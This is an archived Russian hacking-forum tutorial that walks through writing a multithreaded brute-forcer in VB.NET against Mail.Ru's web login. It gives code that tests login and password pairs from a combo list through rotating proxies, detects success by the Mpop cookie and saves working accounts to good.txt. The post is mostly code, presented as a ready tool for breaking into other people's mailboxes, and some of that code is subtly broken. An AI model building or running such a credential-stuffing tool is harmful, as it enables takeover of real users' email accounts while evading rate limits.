1. Вы находитесь в архивной версии форума xaker.name. Здесь собраны темы с 2007 по 2012 год, большинство инструкций и мануалов уже неактуальны.
    Скрыть объявление

[VB.NET] Пишем брутфорс

Тема в разделе "Visual Basic", создана пользователем p0wER, 26 окт 2011.

  1. p0wER

    p0wER Новичок

    Регистрация:
    12 фев 2011
    Сообщения:
    102
    Симпатии:
    26
    Баллы:
    0
    [VB.NET] Пишем брутфорс


    Предисловие

    В общем, в инете существует очень много-много всяких говно статей о том как написать многопоточный\однопоточный брут на Delphi, а вот на счету VB.NET таких статей ноль, решил мигом исправить сие положение, и сегодня собравшись с силами пишу эти строки.

    Начало

    Перед написанием немного определимся с поставленной задачей и зададим себе следующие цели:

    • Писать мы будем на примере Mail.Ru
    • Авторизовываться мы будем через Web интерфейс
    • Для авторизации используем классы HttpWebRequest и HttpWebResponse
    • Организуем многопоточность и синхронизируем их
    • Сделаем поддержку прокси
    В качестве бонуса к статье будет приложен исходный код MRBrute v.0.3
    Кодинг, кодинг, кодинг
    Начнем писать наш брут с простой функции для авторизации на Mail.Ru. Авторизация возможна 2-умя методами: GET и POST. Нам предпочтительней GET, т.к. его проще реализовывать, да и скорость авторизации данным методом немного выше, чем авторизация через POST.
    Перед началом кодинга, нам необходимо узнать как же именно происходит авторизация на Mail.Ru, для этого нам понадобится любой анализатор HTTP трафика, лично я использую для сие целей Fiddler(офф. сайт)
    И так, запускаем Fiddler, запускаем браузер и переходим на страницу авторизации Mail.Ru:
    [​IMG]
    Жмем кнопку «Войти в почту» и следим за анализатором трафика, интересуемые нас передаваемые параметры:
    http://win.mail.ru/cgi-bin/auth?Login=<логин>&Domain=<домен>&Password=<пасс> И ответ от сервера mail.ru:
    [​IMG]
    В случае верной авторизации, mail.ru выдает нам куку под именем Mpop, именно ее наличие мы и будем считать верной авторизацией, ну начнем писать пожалуй, для начала импортируем пространство имен Net и Threading:
    Код:
    1.Imports System.Net
    2.Imports System.Threading

    Далее пишем функцию Auth которое будет возвращать значение в зависимости от результата авторизации:
    Код:
    'Передаваемые параметры: логин, домен, пароль, и прокси сервер
    Public Function Auth(ByVal login As String, ByVal domain As String, ByVal password As String, ByVal proxy As String) As Boolean
    'Создаем обьект класса HttpWebRequest и указываем URL, в котором находятся все передаваемые параметры
    Dim Request As HttpWebRequest = HttpWebRequest.Create("http://win.mail.ru/cgi-bin/auth?Login=" & login & "&Domain=" & domain & "&Password=" & password)
    Dim Response As HttpWebResponse
    'Метод передачи данных:
    Request.Method = "GET"
    'Прокси
    Request.Proxy = New WebProxy(proxy)
    'Запрещаем редиректы (после авторизации mail.ru перебрасывает на страницу с почтой, нам это не нужно)
    Request.AllowAutoRedirect = False
    'Отправляем запрос:
    Response = Request.GetResponse
    'Проверяем куки на наличие Mpop
    If Response.Headers("Set-Cookie").IndexOf("Mpop") > 0 Then
     Return True 'Если есть, значит авторизовались, возвращаем True
    Else 'Иначе
     Return False 'Не авторизовались
    End If
    End Function
    Пока я думаю не возникает никаких проблем, тем более код максимально прокомментирован.
    Следующий шаг, который нам необходимо реализовать – объявление глобальных массивов для хранения сурса, и прокси, для этого удобно использовать ArrayList, ибо с ним можно проводить более гибкие операции чем с обыкновенными массивами:
    Код:
    Public proxyArray As New ArrayList 'Прокси
    Public sourceArray As New ArrayList 'Сурс
    Public i As Long = -1 ' небольшая переменная, для синхронизации потоков

    Далее мы загружаем данные из текстовых файлов в списки:
    Код:
    Public Sub loadLists()
     Try
      sourceArray.AddRange(File.ReadAllLines("source.txt"))
      proxyArray.AddRange(File.ReadAllLines("proxy.txt"))
     Catch err As Exception
      'обрабатываем исключение, можем сообщить юзеру, а можем и забить <img src="http://i-pro.name/wp-includes/images/smilies/icon_biggrin.gif" alt=":D" class="wp-smiley">
       Beep()' бибикнем
     End Try

    Файл source.txt должен иметь следующую структуру:

    И т.д.
    Перейдем к многопоточности, создадим новую процедурку, и назовем ее, допустим Brute, именно ее будут выполнять каждый новый поток
    Код:
    Sub Brute()
     Do Until (i >= sourceArray.Count)
      i += 1 'Появился новый поток, увеличили значение переменной на 1
       Dim r As New Random 'рандоминайзер
       Dim n As String = i 'еще одна переменная для синхронизации
       Dim proxyLine As String = proxyArray.Item(r.Next(0, proxyArray.Count - 1)) ' Загружаем в текстовую переменную, любой прокси из списка
       'Парсим source при помощи Split'а
       Dim login, pass, domain As String 'переменные для логина, домена, пароля
       Dim obg As String 'промежуточная переменная
       Dim Options() As String
       Options = Split(sourceArray(i), ";")
       obg = Options(0) '~ [email protected]
       pass = Options(1) '~ pass
    
       Options = Split(obg, "@")
       login = Options(0) '~ login
       domain = Options(1) '~ domain
    
       If Auth(login, domain, pass, proxy) Then ' если значение True, то сохраняем гуд
         My.Computer.FileSystem.WriteAllLines("good.txt", sourceArray(n).ToString & vbNewLine, True)
       Else
         'My.Computer.FileSystem.WriteAllLines("bad.txt", sourceArray(n).ToString & vbNewLine, True)
       End If
      End Loop
    End Sub

    Теперь создаем потоки:
    Код:
    Sub CreateThreads(ByVal number As Integer)
     Dim Thread As New Thread(AddressOf Brute) 'Создаваемый поток выполняет ф-ию Brute
     Thread.IsBackground = True 'Делаем поток фоновым, т.е. при заверешении программы и потоки завершат свою работу
     Thread.Start()
    End Sub

    Чтобы вырубить потоки, необходимо задать переменной i значение большее чем sourceArray.Count, тогда условие цикла вернет значение True и он завершится
    Код:
    Sub StopBrute()
     i = sourceArray.Count + 100500
    End Sub
    Pro, i-pro.name
     
  2. ~|~евто|-|

    ~|~евто|-| Silentium ..::V.I.P::..

    Регистрация:
    26 май 2007
    Сообщения:
    30
    Симпатии:
    377
    Баллы:
    0
    Код за гранью, добра и зла *xD*
    Хотя в VB и не шарю совсем)
     

Поделиться этой страницей